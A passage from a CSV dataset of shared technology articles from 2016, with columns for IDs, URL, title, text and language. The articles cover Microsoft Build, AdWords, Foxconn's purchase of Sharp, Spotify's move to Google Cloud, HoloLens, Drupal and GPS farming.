insurers. On the technology side, the cost of sensors and actuators must fall to levels that will spark widespread use. Networking technologies and the standards that support them must evolve to the point where data can flow freely among sensors, computers, and actuators. Software to aggregate and analyze data, as well as graphic display techniques, must improve to the point where huge volumes of data can be absorbed by human decision makers or synthesized to guide automated systems more appropriately. Within companies, big changes in information patterns will have implications for organizational structures, as well as for the way decisions are made, operations are managed, and processes are conceived. Product development, for example, will need to reflect far greater possibilities for capturing and analyzing information. Companies can begin taking steps now to position themselves for these changes by using the new technologies to optimize business processes in which traditional approaches have not brought satisfactory returns. Energy consumption efficiency and process optimization are good early targets. Experiments with the emerging technologies should be conducted in development labs and in small-scale pilot trials, and established companies can seek partnerships with innovative technology suppliers creating Internet-of-Things capabilities for target industries. About the Authors Michael Chui is a senior fellow with the McKinsey Global Institute, Markus Löffler is a principal in McKinsey's Stuttgart office, and Roger Roberts is a principal in the Silicon Valley office. The authors wish to thank their McKinsey colleagues Naveen Sastry, James Manyika, and Jacques Bughin for their substantial contributions to this article.",en
1459373698,CONTENT SHARED,-9172673334835262304,-2626634673110551643,2243107847559315523,,,,HTML,http://g1.globo.com/sao-paulo/sorocaba-jundiai/nosso-campo/noticia/2016/03/tecnologia-para-colher-mais-e-o-uso-do-gps.html,Tecnologia para colher mais e o uso do GPS,"Na fazenda em Maracaí (SP), a colheita já era mecanizada, mas agora também é automatizada. Tudo para evitar prejuízos e aumentar os ganhos dos agricultores. A redução de perdas foi de 10%, um índice que faz diferença no final da safra. ( Veja ao lado a reportagem exibida no Nosso Campo em 27/03/2016 ) O Nosso Campo constatou que uso de GPS permite colher tudo o que foi plantado. Algumas máquinas têm até piloto automático. No centro de controle, é possível saber tudo o que está acontecendo na lavoura em tempo real. Esse monitoramento é feito por satélite. Os gráficos mostram as condições da lavoura: onde está produzindo mais, onde está com baixa produtividade e a incidência de pragas. O Nosso Campo é exibido aos domingos, às 7h25, na TV TEM! Para participar, envie um e-mail para nossocampo@tvtem.com Acesse + Nosso Campo | Vídeos | Redes Sociais | Novidades TV TEM Antes dessa tecnologia, o combate de pragas era feito na plantação inteira. Agora é possível saber qual é a erva daninha e onde ela está atacando. E a aplicação de herbicidas é feita somente na área afetada. Como essa tecnologia toda ainda é carente de mão de obra especializada, muita gente está tentando se especializar. Em Pompéia (SP), existe um curso voltado para agricultura de precisão. É o único oferecido no País, com 160 alunos iniciando as aulas a cada ano.",pt
1459374054,CONTENT SHARED,-1039912738963181810,-709287718034731589,-8526179123269437438,,,,HTML,http://9to5mac.com/2016/03/30/apple-launches-safari-technology-preview-a-browser-for-developers-including-experimental-web-features/,"Apple launches Safari Technology Preview, a browser for developers including experimental web features","Apple today announced a new browser, sort of. It's called Safari Technology Preview and its meant for developers to be able to test and experiment with future web technologies and upcoming features. This is similar to Google Chrome Canary, which allows developers to play with in-development web technologies ahead of official releases. The app even comes complete with a new purple icon. Via TheNextWeb , Apple will be updating Safari Technology Preview on a fortnightly basis, with each release signed for security. Download Apple's new browser from the developer portal . (page currently 404s) Safari Technology Preview is a standalone application, so you can install it alongside a normal version of Safari. It also supports iCloud features, which the typical WebKit Nightly builds do not include.",en
1459375727,CONTENT SHARED,3172866488852888544,-1032019229384696495,-1858408872346331823,,,,HTML,http://www.fastcodesign.com/3058294/google-is-finally-redesigning-its-biggest-cash-cow-adwords,Google Is Finally Redesigning Its Biggest Cash Cow: AdWords,"Google made $74 billion last year. And it wasn't from painting weird dog montages or winning a few matches of Go . A vast majority of Google's revenue is from advertisements slipped into its free services like Search and YouTube. That's why AdWords is really Google's most important product, as it allows a million different businesses, big and small, to manage keyword-driven ad campaigns across Google. But for all its importance, AdWords hasn't seen a facelift in eight years. That changes today, as Google unrolls a new design to select AdWords customers, as part of a carefully paced, year-long makeover of the platform to conclude in 2017. The new AdWords will incorporate Material Design -Google's modern design language that's already being used across its other services-and it prioritizes clean graphical insights over lists of text and numbers. Updating AdWords will not only cement Google's design makeover across its most important services; it will also make its platform a whole lot more usable in a time when advertising campaigns have grown more complicated than ever. ""AdWords started with 350 customers 15 years ago . . . [then] it was rewritten 8 years ago as search advertising became really important for marketers. But it was built for a desktop search world,"" says Greg Rosenberg, head of UX, advertiser platform at Google. ""Today, we're in the middle of the biggest shift the ad industry has seen since AdWords launched-mobile."" Of course, it's not just mobile. The web has evolved to a multimodal, multimedia world, and advertising has followed. It's mobile, it's video, and it's even coordinating your AdWords to drive a shopping campaign that will also play out over several social media platforms. The last AdWords was built when most of us were still using flip phones. ""Our current product is just showing its age,"" Rosenberg says. Indeed, the last AdWords was built before the iPad was released, and when most of us were still using flip phones. Visitors are greeted at their spreadsheet-based campaign page with the list of words they've bought-with no way of telling if these words are meant to be working on campaigns together or how each is working across various platforms, unless they dive through all sorts of subpages. And a vague ""performance graph"" rendered in Google blue piles it all together into one tiny, vague chart. In turn, Google has met with hundreds of AdWords users around the world to research the new design. Most of its customers are actually small businesses, and upsetting them-much less the Fortune 500s-could put Google's primary source of income at risk. ""It goes far beyond polls or surveys. It's literally being at a business with our users, watching them use AdWords for hours on end,"" Rosenberg says. From there they moved to prototyping and testing in usability labs. ""Every tool in our arsenal has been behind this effort."" The resulting redesign is something Rosenberg admits will see a lot of iteration over the next year, but for now, it de-emphasizes the importance of words-both your list of AdWords and words used in the interface itself-to surface a series of graphs called Overviews right when you sign in. Overviews has one big line graph that still averages together every AdWords campaign you're running. Below that, a chart averages the performance of AdWords by each campaign. And to the right, a stacked bar chart gives you an immediate look at how your campaigns are playing out across desktops, tablets, and phones. ""Just because you spend a lot of money doesn't mean you're super-savvy."" Click into any individual campaign, and you'll be taken to another, more specific but similar, graphical overview page. These graphs are meant to surface insights formerly buried inside AdWords stats, and as an added bonus, they are language agnostic for a global audience of customers who may or may not actually understand anything about performance optimization in CPM-based advertising. ""That's an important myth to debunk,"" Rosenberg says. ""Just because you spend a lot of money doesn't mean you're super-savvy. We want these [insights] to pop out to people, and we don't want people to have to read the UI."" ""In some ways it's similar to the philosophy behind Chrome when it was created,"" he continues. ""The philosophy of Chrome was, there is no Chrome. It's all about the content."" And as cliché as that may sound, surfacing real insight-trimming away the fat to reveal the content-is probably the largest challenge in modern data visualization . That is why, while the new AdWords will be available to select users starting today, Google will roll out many more tweaks and features over the next year. Don't be surprised if a lot changes. Because while bold new design may be at the forefront of Google's aggressive Material Design strategy , Google still can't risk ostracizing its 1 million+ customers who actually keep the servers running for the rest of us-even if the new approach is, by any objective measure, so clearly better looking than before.",en
1459378041,CONTENT SHARED,8095004770374551394,8341545449730058951,-5545744138755137267,,,,HTML,http://www.theverge.com/2016/3/30/11317924/microsoft-event-news-recap-hololens-windows-10-build-2016,Microsoft Build: the 10 most important announcements,"Here come the bots! Every year, Microsoft holds a developer event called ""Build."" And recently, those events have gone from snoozers to exciting showcases. Microsoft has a winner with Windows 10 (as long as you ignore the phones), a robust personal assistant in Cortana (that works just fine on a laptop), and a wild holographic future to plan with HoloLens. It's a lot to take in, and at this year's Build Microsoft we got updates on all of it. And a few surprises. Going in, we weren't totally sure what would be coming next for Windows 10, but it turns out there's a lot that Microsoft has planned. It's not just that there are new apps, there are also new bots , which will help people handle all sorts of small tasks. In fact, those bots and Microsoft's vision of how they should work stole the entire show. Windows, Xbox: you're cool, but the future is bots. Microsoft has really big software ambitions, and it laid them all out at Build. Here are the 10 most important things that were announced today. You can find links to everything that Microsoft announced in our StoryStream . The big idea from Microsoft today was making conversation the next platform for computing. At the heart of that plan are intelligent bots, something we've written about at length . These little AI bots will respond to your words and provide you assistance. Satya Nadella noted that Microsoft had erred with its launch of Tay, a social chatbot that users quickly taught to be a racist . ""We want to build technology so it gets the best of humanity, not the worst,"" said Nadella. ""We quickly realized it was not up to this mark. So we're back to the drawing board."" In the future, Nadalla says human language will be the UI layer, bots will be the new apps, and digital assistants will be the new ""meta apps."" Artificial intelligence will be infused into all of this. Cortana is the best example of an intelligent bot Microsoft has been developing for a while. But Microsoft also wants to get bots into some of its popular services, like Skype. Cortana is now hanging out inside Skype, waiting for queries and highlighting key bits of text. And third-party bots from restaurants or hotels can chat with Cortana, who mediates the conversation for you inside of Skype. Seriously, Microsoft waited until near the end of its keynote to talk about the most exciting and interesting stuff. It's making it way easier for Bots to talk to any chat app - from Skype to Slack to whatever. We also got a sneak peek at intelligent tools that will be coming to bots in the near future. Microsoft showed how to create a Domino's Pizza bot with Microsoft's tools, but it could work in multiple apps and supports natural language. This is all run off a Cortana Intelligence Suite, which runs of something called the Microsoft bot framework. It's a platform of cognitive services like computer vision and natural language that developers can use as they create smart bots to interact with Cortana or their customers. There are 22 APIs available starting today that cover years of machine learning and AI research. She's coming to the Xbox as your personal assistant, helping to find new titles and sharing tips and tricks on gameplay. But Cortana is also getting a huge update in the Anniversary Edition of Windows 10. Cortana will more intelligently understand time, for example. She can identify the PowerPoint you were working on last night, or the toy store you visited last year, and suggest calendar appointments based on emails and texts you receive. Cortana can also work with third party apps more deeply - developers can set up actions that do things with their app. You can have Cortana order food with Just Eat, for example. Microsoft keeps pushing Skype, and now it's making it a lot smarter. Basically, Skype will be able to talk to Cortana, which ""brokers"" a conversation with a third-party bot. Cortana is smarter than the bot (she understands context), but the bot is what does things like book a hotel room. During a Skype demo, a bot from Cups and Cakes asked for an address to complete a delivery. Cortana brokered the conversation and gave the user a map with updates on arrival time. When asked to add an appointment to a calendar, Cortana automatically engaged with a bot from the Weston hotel, filling in location and date, and allowed the user to book the hotel room with a few clicks. Finally, she suggested chatting with a friend who lived in the same area, and produced an automatic message in the mode of Google's smart Inbox replies. All this intelligence can even work in real time , inside a video chat. Skype users can just add ""video bots"" to their chat. We're not totally sure what that means, but it sounds wild. Microsoft is calling it the ""Anniversary update"" for Windows, and it has a bunch of new features will make Windows 10 better. It will support biometric authentication, and will even bring this feature into the browser. It works using a fingerprint sensor right next to the trackpad. Onstage, Microsoft logged into the USAA website using just a fingerprint. Windows talked about the ""Universal Windows Platform,"" a system it described as open and - most importantly - a platform that works across all different kinds of devices - from PCs to phones to HoloLens to wearables. And there are a ton of developers tools too: a Linux command line, a tool to help convert legacy Windows apps to the new platform, and much more. Finally, Microsoft spent a lot of time talking about the new features coming to Ink, as well - more on that below. To highlight its stylus Microsoft showed off a new ""Ink Workspace"" that features a bunch of pen-powered apps. When you write yourself a reminder with Stick Notes, Cortana can now recognize dates and set automatic reminders for tasks like ""Call mom tomorrow."" If you draw two points of interest on a map, it will tell you the distance and offer directions, and if you drag it across a section of text it will generate automatic highlights. Smart routes you trace on a map will even adapt if you shift to to a three dimensional view. Microsoft also showed off virtual stencils and rulers that let users more precisely shape what they draw on the screen. We knew that Facebook, Instagram, and Twitter were committed to ""Universal Windows Platform Apps,"" but we got a news that more are coming: Starbucks is the big one. But you can also expect Uber, Vine, Bank of America, WWE, and a ton of games. Microsoft showed off a few graphical flourishes developers can now add to Windows apps, including a motion blur and highlight effect you can activate with trackpad gestures. They also dove into some code that lets developers easily add Ink abilities into their apps. A virtual ruler was involved. Microsoft also showed off an ""Electronic Flight Bag,"" which is basically a Surface tablet that pilots can use to track all the information they need to fly. Boeing is going all in with it. But a bigger deal is that Microsoft is providing a desktop tool to developers so they can convert their current Windows apps to the new universal platform. Microsoft says it can work on 16 million current apps. The Bash shell is coming to Windows. Even if that sentence is gibberish to you, it's still meaningful. You can think of it as Windows supporting Linux - native Ubuntu binaries can run on Windows, and Microsoft partnered with Canonical to do it. Bash stand for ""Bourne Again Shell,"" and it means that developers can fire up a terminal window and code the way that many of them are used to: with Linux commands. Yes, it sounds nerdy, but it's a super big deal. Developers used to have to use third party tools to do it, now it's going to just be built in. The gaming portion of the keynote started out with an announcement that Forza is going to be created as a universal app going forward - so the same one will work on both Xbox One and a Windows PC. Quantum Break and Killer Instinct will also come to Windows 10. And that desktop app converter that we mentioned earlier? It will also work on classic Win32-based games. Phil Spencer showed that Microsoft could just download Age of Empires II HD from Steam and convert it to a universal app. And it even worked on The Witcher 3 . That means that all the Windows 10 features like Live Tiles and Notifications will work with these games. The Xbox One? It's also a development kit now. Developers can take any standard, retail Xbox One and use it to develop games and apps. A demo showed off a desktop app running on the Xbox, and the software automatically adapted to give a sense of how their app would work on the big screen in the living room. A preview of developer mode is available starting today. Last but certainly not least, Microsoft is finally going to create a unified store that works across both the PC and Xbox. Microsoft announced that the developer edition is shipping out today. It's expensive, so it's not really meant for consumers to buy, but it's still an important milestone. It was a big moment for the Hololens team, and the co-creators shared a hug onstage, whispering audibly, ""I love you man."" The first Hololens app shown on stage was Galaxy Explorer, which seemed to be holograms of planets and galaxies you can manipulate with gestures. Microsoft is releasing both the app and the source code today, giving Hololens developers something they can study and build from. And NASA showed off a Hololens called Onsight and Destination Mars, which lets you view the red planet through the perspective of the agency's scientists. Case Western Reserve University and The Cleveland Clinic showed off medical apps they built for Hololens. There was a holographic anatomy program that projected a life size body with transparent skin and the organs clearly visible inside. A professor patched in remotely from Cleveland as an avatar and walked students through lesson on a giant holographic brain. The avatar was a bit wonky, a frozen head, hand and screen name floating alongside the students onstage. But the professor was able to accurately point out small structural details inside the holographic brain as he worked through the lesson from across the country.",en
1459382038,CONTENT SHARED,8801106199759296338,8341545449730058951,-5545744138755137267,,,,HTML,http://www.bbc.com/news/business-35923885,Foxconn finalises Sharp takeover - BBC News,"Taiwanese manufacturer Foxconn says it has finally agreed a deal to take over struggling Japanese electronics company Sharp. Foxconn said the deal was worth 389bn yen ($3.5bn; £2.4bn) and would give it a 66% stake in Sharp. Foxconn, which assembles most of the world's iPhones, first offered to invest in the troubled Japanese firm in 2012, but talks collapsed. The two firms said the deal would be signed on 2 April. It would be the first foreign takeover of a major Japanese electronics firm. Describing themselves as ""world-class technology industry leaders"", Foxconn and Sharp said they would form ""a historic strategic alliance"". Pioneering firm Founded in 1912, Sharp is one of Japan's oldest technology firms. Japanese officials had been reluctant to let it fall under foreign ownership because of the distinctive technology behind its display panels. Before the announcement of a deal with Foxconn, Sharp had been discussing a rival offer from a government-backed consortium of Japanese investors. Although recent years have seen a downturn in its fortunes, the firm continued to be a leader in liquid display technology, a key asset for Foxconn. In 2012, Sharp came close to entering bankruptcy. It has struggled with heavy debts and has been through two major bailouts in the last four years. Sharp's innovations include a mechanical pencil in 1915 and pioneering developments in television engineering.",en
1459391011,CONTENT SHARED,-4760639635023250284,3891637997717104548,-910102441365544094,,,,HTML,https://cloudplatform.googleblog.com/2016/02/Spotify-chooses-Google-Cloud-Platform-to-power-data-infrastructure.html,Spotify chooses Google Cloud Platform to power data infrastructure,"It's not every day you move a 75 million+ user company from a home-grown infrastructure to the cloud. But if you use Spotify, more and more of your musical experience will be delivered by Google Cloud Platform over the coming weeks and months - we're partnering on an ambitious project to move Spotify's backend into GCP. Spotify aims to make music special for everyone. Today, the company hosts more than 2 billion playlists and gives consumers access to more than 30 million songs. Users can search for music across any device by artist, album, genre, playlist or record label, while features like Discover Weekly suggest personalized playlists for millions of people around the world. While Spotify had engineers running its core infrastructure and buying or leasing data-center space, PC hardware and networking gear to provide a seamless experience for users - time and again it asked whether the tradeoff of resources that could otherwise focus on innovative features and software, was worth it. Recently Spotify decided it didn't want to be in the data center business, and chose Cloud Platform over the public cloud competition after careful review and testing. The company split their migration to Cloud Platform into two streams: a services track and a data track. Spotify runs their products on a multitude of tiny microservices, several of which are now being moved from on premise data centers into Google's cloud using our Cloud Storage, Compute Engine and other products. With Compute Engine, teams can rely on consistent performance from ultra high IOPS SSD and local SSD storage capabilities. And with autoscaling, they can build resilient and cost-efficient applications that use just the right amount of resources necessary at any given time. For storage, Spotify is now implementing Google Cloud Datastore and Google Cloud Bigtable . This rich fabric of storage services lets engineers work on complex back end logic, instead of focusing on how to store the data and maintain databases. Spotify is also deploying Google's Cloud Networking services, such as Direct Peering , Cloud VPN and Cloud Router , to transfer petabytes of data. This results in a fast, reliable and secure experience for users around the globe. On the data side of things, the company is adopting an entirely new technology stack. This includes moving from Hadoop, MapReduce, Hive and a series of home-grown dashboarding tools, to adopting the latest in data processing tools, including Google Cloud Pub/Sub , Google Cloud Dataflow , Google BigQuery , and Google Cloud Dataproc . With BigQuery and Cloud Dataproc, data teams can run complex queries and get answers in a minute or two, rather than hours. This lets Spotify perform more frequent in-depth, interactive analysis, guiding product development, feature testing and more intelligent user-facing features. To gather and forward all events to its ecosystem, Spotify is using Cloud Pub/Sub, Google's global service for messaging and streaming data. This gives teams the ability to process hundreds of thousands of messages per second, in a reliable no-ops manner. And to power its ETL workloads, Spotify is deploying Cloud Dataflow, Google's data processing service. This lets the company rely on a single cloud-based managed service for both batch and stream processing. What makes us most excited to work with Spotify is their company-wide focus on forward-looking user experiences. Now that they've begun using Google Cloud Platform, we can't wait to see what Spotify builds next. Join us for the GCP NEXT 2016 opening keynote, where we'll feature a talk from Nicholas Harteau, VP of Engineering and Infrastructure at Spotify. You can also attend Spotify-led technical sessions where you can learn more about how they're deploying Google Cloud BigQuery and Dataflow. - Posted by Guillaume Leygues, Lead Sales Engineer, Google Cloud Platform",en
1459391950,CONTENT SHARED,-9137036168156595470,3891637997717104548,-910102441365544094,,,,HTML,http://us8.campaign-archive1.com/?u=eb2d2e4ce44bb8c74fdb0b23e&id=ede7bb5a54&e=c7c03a304f,"New blog from Dries: A ""MAP"" for accelerating Drupal 8 adoption","Contributed modules in Drupal deliver the functionality and innovation proprietary content management solutions simply can't match. With every new version of Drupal comes the need to quickly move modules forward from the previous version. For users of Drupal, it's crucial to know they can depend on the availability of modules when considering a new Drupal 8 project or migrating from a previous version. I'm pleased that many agencies and customers who use Drupal are donating time and attention to maintaining Drupal's module repository and ensuring their contributed modules are upgraded. I believe it's the responsibility of Drupal companies to give back to the community . I'm proud that Acquia leads by example. It was with great pride that Acquia created a Drupal 8 Module Acceleration Program, or MAP. Led by Acquia's John Kennedy, MAP brings financial, technical and project management assistance to Drupal module maintainers. Acquia kicked off MAP in mid-October and to date we have helped complete production-ready versions of 34 modules. And it is not just any modules; we've been focused on those modules that provide critical pieces of functionality used by most Drupal sites. When MAP was formed Acquia allocated $500,000 to fund non-Acquia maintainers in the community. In addition, we have so far invested more than 2,500 hours of our own developers' time to support the effort (the equivalent of three full-time developers). What is impressive to me about MAP is both the focus on mission-critical modules that benefit a huge number of users, as well as the number of community members and agencies involved. John's team is leading a coalition of the best and brightest minds in the Drupal community to address the single biggest obstacle holding Drupal 8 adoption back. Drupal 8 has already made a significant impact; in the 90 days following the release of Drupal 8.0.0 , adoption has outpaced Drupal 7 by more than 200 percent. And as more modules get ported, I expect Drupal 8 adoption to accelerate even more.",en
1459393651,CONTENT SHARED,-454649054276160610,-2525380383541287600,-7250107190098654804,,,,HTML,https://blogs.windows.com/windowsexperience/2016/03/30/the-future-of-pen-windows-ink/,The Future of Pen: Windows Ink,"What a day at //build 2016! We're very proud of the wonderful new features coming in the Windows 10 Anniversary Update , many of which we showcased this morning. One of the areas we focused on today was Windows Ink, an all-new experience, putting the power of Windows in the tip of your pen. Windows Ink enables you to write on your device as you do on paper, creating sticky notes, drawing on a whiteboard, and easily sharing your analog thoughts in the digital world. Windows Ink is integrated into apps like Maps, Microsoft Edge, and Office. More than 70% of us spend more than one hour a day using a pen. We lose notes in our notebooks, take pictures of whiteboards, and can't do equations or music composition with a keyboard. In a world where billions of post-it notes are sold each year and more than 70% of people spend more than one hour a day using a pen, productivity can increase by incorporating writing into the computing experience. We're using Windows Ink to help people turn their thoughts into actions on their Windows 10 devices. Bryan Roper showcased some of the best Windows Ink features during his time on stage today, demonstrating how Windows Ink can help people not just create notes, or write like they are on a whiteboard - but also how Windows Ink integration into apps like Maps, Microsoft Edge, and Office can unlock the power of Windows 10 in truly unique and powerful ways. If you missed the keynote this morning you can watch it on demand here . We look forward to making Windows Ink available in the Windows 10 Anniversary Update this summer and expect to see broad adoption of Windows Ink in devices this year. Working closely with our OEM partners, there is strong demand for this innovative technology already. Another way we'll deliver that is via a recent partnership with Wacom . Wacom, a leader in digital pen hardware, has signed an agreement with Microsoft to create and produce Windows Ink capable solutions for the ecosystem. This will help provide customers with the best end-2-end Windows Ink experience. By combining Windows Ink technology, learnings from Surface and Wacom DNA into a high quality writing instrument built for Windows Ink, customers have an easy choice when they need an accessory pen. Customers should expect the pen to be available at retailers like Best Buy this holiday season. Today was an exciting day, as we shared all new innovations coming to Windows 10. We look forward to sharing more about Windows Ink and the growing ecosystem soon.",en
1459393730,CONTENT SHARED,-36844712915106340,-2525380383541287600,-7250107190098654804,,,,HTML,https://blogs.windows.com/buildingapps/2016/03/30/windows-10-anniversary-sdk-is-bringing-exciting-opportunities-to-developers/,Windows 10 Anniversary SDK is bringing exciting opportunities to developers,"Hello from Build 2016! I just had an opportunity to participate in today's keynote with Satya Nadella and Terry Myerson where we celebrated the progress we have made with Windows 10, gave a preview of the Windows 10 Anniversary Update, and talked about how we are continuing to invest in the Windows Platform to make it home for all developers. Terry's blog summarizes many of today's announcements, but in this post I want to share a few of the highlights for developers. Throughout the year, I have heard from many of you, both in person and via our various feedback channels, and you have asked us for more. We know that every innovation with Windows is only as powerful as the ecosystem that rallies around it, so I want to cover today's most important Build announcements and what they mean for our development community. The Windows 10 Anniversary SDK Today we are taking the first step with the announcement of the preview of the Windows 10 Anniversary SDK . It contains thousands of new features and APIs that are the direct result of your feedback. Here are just a few of the significant improvements that we are excited about but didn't have time to cover in the keynote: Connected Devices : We are bringing new ways to connect to, communicate with, and manage multiple devices and apps. This technology enables Cortana extensibility and the new Action Center in the Cloud, and it's being introduced today. Background execution : We are bringing the ability to run your application in the background without requiring two separate processes. Along with extended execution and opportunistic tasks, writing applications that run when they need to will become simpler and more powerful. App Extensions : UWP now supports app extensibility allowing you to build an ecosystem based on your application. Microsoft Edge uses this technology for its own extensions. Action Center in the Cloud : Enables your app to engage with users on all their devices. You can now dismiss notifications on one device and they will be dismissed everywhere. Windows Store & Dev Center : Significate new tools include user roles in Dev Center, app flighting, improved analytics, an analytics API that allows you to grab your data and use it outside of the dashboard, user segmentation and targeting, A/B testing, app subscriptions, advertising improvements, and more. Here at Build, we will talk about these and much more during more than one hundred technical sessions, all of which will be available for you to view on Channel 9 over the next several days. Pioneers wanted: NUI Innovations coming to UWP With the Universal Windows Platform, we have been creating new ways of interacting with our devices that go beyond touch and mouse to include vision, writing, speech, and more. It's more than just the inputs and outputs; it's about creating experiences that transcend a single device and enabling developers to orchestrate experiences across devices. At today's keynote we gave a detailed overview of some of the new innovations that are coming to Windows 10 in the Anniversary Update SDK: Windows Ink APIs: Together we will unlock new natural ways of interacting with our apps with Windows Ink. Just two lines of code enable you to bring the ""Hello World"" of Windows Ink into your apps through the InkCanvas and new InkToolbar controls. One level down, the InkPresenter provides a powerful and flexible way to extend the InkToolbar and to create customize ink experiences. In all cases, the platform provides beautiful low-latency ink rendering, handwriting recognition, and ink data management. Windows Hello : You can already use Windows Hello and biometric authentication to make your apps easier to access and more secure with Windows Passport. If you are web developer, you can now bring that same Windows Hello experience to your websites with JavaScript APIs in Microsoft Edge. Cortana APIs : Nearly 1,000 apps are already using voice commands with Cortana. Now Cortana allows you to go further and integrate proactive actions with your apps. As a developer, you can drive increased user engagement by registering actions with Cortana that she will use to connect users to your apps at just the right time. Check out the new Cortana portal where you can request access to the beta. Microsoft HoloLens Development Edition begins shipping : The Windows Holographic SDK and emulator are now available for download and Microsoft HoloLens Development Edition is starting to ship to developers. These will enable you to create holographic apps using UWP. Our documentation and forums are up and running. We're also happy to share a number of open source projects, HoloToolkit , HoloToolkit-Unity , and Galaxy Explorer , which will accelerate your development of holographic apps, and give you an opportunity to contribute back to help others building on the platform. Developers can now bring existing UWP apps to HoloLens where they will work on 2D surfaces within the virtual world. Windows is pioneering a change in how people will use technology: will you join? Listening to your needs, embracing tools for multi-platform development on Windows. We want Windows to be the best development environment regardless of the technologies you use or the platforms you target. We made cross-device a reality at the core of the Universal Windows Platform, and we are excited to offer more: Converting Desktop Apps (Project Centennial): We are shipping a new desktop app converter which will enable your Win32 and .NET apps to get access to UWP and the Windows Store. With the new installer technology, your app can cleanly install, uninstall, and update, and also get full access to UWP APIs including Live Tiles, Cortana, notifications, and more. Bash is coming to Windows : For users of popular command-line tools, Windows 10 now has great support for Bash running on Ubuntu as part of our partnership with Canonical, and growing support for the universe of open-source command-line tools. Developers will be able to download the Bash shell from the Windows Store. Xamarin: will make it easy to share code across platforms while delivering native experiences for each. Also, our open source Windows Bridge for iOS enables iOS developers to bring Objective-C code into Visual Studio, and compile it into a UWP app. Retail Dev Kit Unlock for Xbox One: Today we are releasing the Retail Dev Kit Unlock for Xbox One which enables any Xbox One to be a developer kit with Xbox Dev Mode. Now anyone can develop UWP apps and deploy them to an Xbox One. Your apps can be tailored for the larger viewing distance and screen size of the living room and for Game Controller input, and you can test these optimizations on your own Xbox. You asked us to help you in be more productive, and we listened. We will continue to invest in making Windows home for developers, regardless of which platform you build for. Stay tuned to this blog over the course of the next week to view a series of in-depth posts that will go into details of some of the topics that I discussed here (Cortana, Windows Ink, Windows Store & Dev Center, Bash, and more). Get involved. What a difference a year makes. Last year at Build we were showing what would be possible in Windows 10, and today we celebrate more than 270 million devices on the platform! Build is just the next step in this journey, but now is the time to get involved. Start developing on the Windows 10 Anniversary Update. To do so, install the latest Windows 10 for Insiders , update to Visual Studio 2015 Update 2 , and then install the Windows 10 Anniversary SDK Preview Build 14295 . I cannot wait to celebrate our shared success next year at Build 2017. - Kevin",en
1459393837,CONTENT SHARED,5333141914314968598,-2525380383541287600,-7250107190098654804,,,,HTML,https://blogs.windows.com/devices/2016/03/18/microsoft-hololens-and-lowes-working-to-redefine-your-next-home-renovation/,"Microsoft HoloLens and Lowe's, working to redefine your next home renovation","Today, we're thrilled to announce that Microsoft HoloLens and home improvement company, Lowe's are partnering in an effort to redefine how people think about home renovation - starting with the kitchen. Lowe's has a long history of helping people reinvent spaces, quite literally, from the ground up. And home improvement is an incredibly visual undertaking. It can be difficult to conceptualize a full-scale remodel using just sample squares and paint swatches. We were excited to partner with Lowe's to help reinvent visualization and design in a whole new way, using holograms. Using HoloLens, Lowe's is providing customers in select pilot stores with a new way to experience home improvement. Lowe's is using HoloLens to demonstrate a variety of design options for kitchen cabinetry, countertops, appliances and features like backsplashes, in a visually-rich and interactive way. Lowe's customers will be able to experience a holographic representation of a completely new kitchen, adjust finishes and options instantly, and share their designs easily online. Now people can view, in life-like realism, large items like cabinets, appliances and countertops in size and scale with incredibly high-definition options and detailed finishes. The holographic details are rich and allow users to even see the differences between shiny chrome appliances versus matte brushed aluminum options. From within the nearly empty square frame of a showroom kitchen, customers can completely change the look and feel of that space - including adjusting the size and shape of an island, and viewing virtual design options against physical counter stools. This mixed reality solution was important, so that customers can remain within the physical kitchenette and view options and adjustments to that existing physical space, alongside physical options, in the form of holograms. A miniature hologram kitchen allows for a bird's eye perspective of the kitchen. For Lowe's, it brings customers a new way to experience full-scale design and appliance options while maximizing precious floor space in the store. Lowe's can quickly and affordably show an array of options that can be digitally refreshed with far less impact than what it would take to replace tile or cabinetry samples. In-store designers, spouses or friends can view what the customer is seeing - and changing in real time - through a hand-held Surface tablet. Not a distant future: It all starts here and now This implementation is a new, innovative way that Lowe's is enhancing the customer experience. This month, Lowe's is piloting its HoloLens-powered kitchen remodel demonstration in-store, in the greater Seattle area. From there, Lowe's will begin piloting in-store in Raleigh, North Carolina, not far from its headquarters. Customers will be able to rethink home renovation using the power of holograms. Whereas kitchens and showrooms are just the beginning, we imagine that a solution like this would be an ideal way to view renovation options in individual homes. In the same way that people often place tape or cardboard outlines of new furniture in their living rooms to properly assess size and scale relative to physical options - imagine a more high-quality, easily modifiable replacement to that task, powered by holograms. Imagine a view of your custom kitchen, within your existing kitchen space or reviewing options for a brand new dining room table and chairs without ever leaving home. As a reminder, we announced last month that the Microsoft HoloLens Development Edition begins shipping on March 30 th of this year. Developers can apply to purchase a device at www.hololens.com/developmentedition . Interested commercial customers can learn more about HoloLens on our website , and should connect with their Microsoft account representative for more information on volume ordering and the many ways holograms can change the way companies do business today.",en
1459394988,CONTENT SHARED,-8248141950199177506,3891637997717104548,-910102441365544094,,,,HTML,https://dev.acquia.com/blog/how-we-migrated-data-into-drupal-from-four-different-sources-using-the-migrate-module/09/03/2016/9806,How We Migrated Data into Drupal from Four Different Sources Using the Migrate Module | Acquia,"The Scenario Some time ago we were contacted by a client to execute a migration: from a soon-to-be decommissioned site into Drupal. Just when we thought that it would be a simple process, the requirements came in: ""Migrate the data from Site A into Drupal, but also join data from Spreadsheet X, and some data already inside the Drupal website."" To handle such complicated task, with so much different data, we chose the Migrate module to make our lives easier. In the beginning, we had the following data to work with: A CSV file with data from the old site Another CSV file generated from a spreadsheet A Node with custom type in the current site A custom entity also in the current site Code Structure Our starting point was to create an admin page to import the CSV files into custom database tables. From there, we were able to query all that information and use the columns that all four sources had in common to link all the fields together. In order to hold the new data that would be migrated, a new custom entity was created. By following the requirements, some bundles with different fields were also created for that entity. The following image illustrates the migration schema: After some discussion as to how the data would be handled, we decided to create one Migrate class per migration scenario. So a base class was created to contain most of our default code, and one child class per migration scenario. Some methods were defined in the parent class to make it easier to build our large query. This way of coding was chosen so we could create classes that would extend the base one, and have only the custom rules for that migration scenario. We created methods like getJoins() that would return an array with the information for the db_select join() method, or getConditions() that would return the information for method. With these custom methods in place, if a child class needed to customize something, it could override only that method and implement its own rules. Another requirement for the migration was that each scenario should run in a particular order, to ensure that the new data would be consistent with the old site. In order to do so, we have taken advantage of the dependency feature from the Migrate module, and used that to enforce the order in which each migration would run. Data Handling The next step in the data processing: we noticed that the data coming from the CSV files was not standardized as well as the other data, with some invalid characters in some fields. We decided then to use the method to handle the data and clean it up before the migration process started. Example of our usage of the preImport() method. One of the challenges for this migration was to match the type of data from all sources into Drupal's schemas. Some source fields were simple string values that 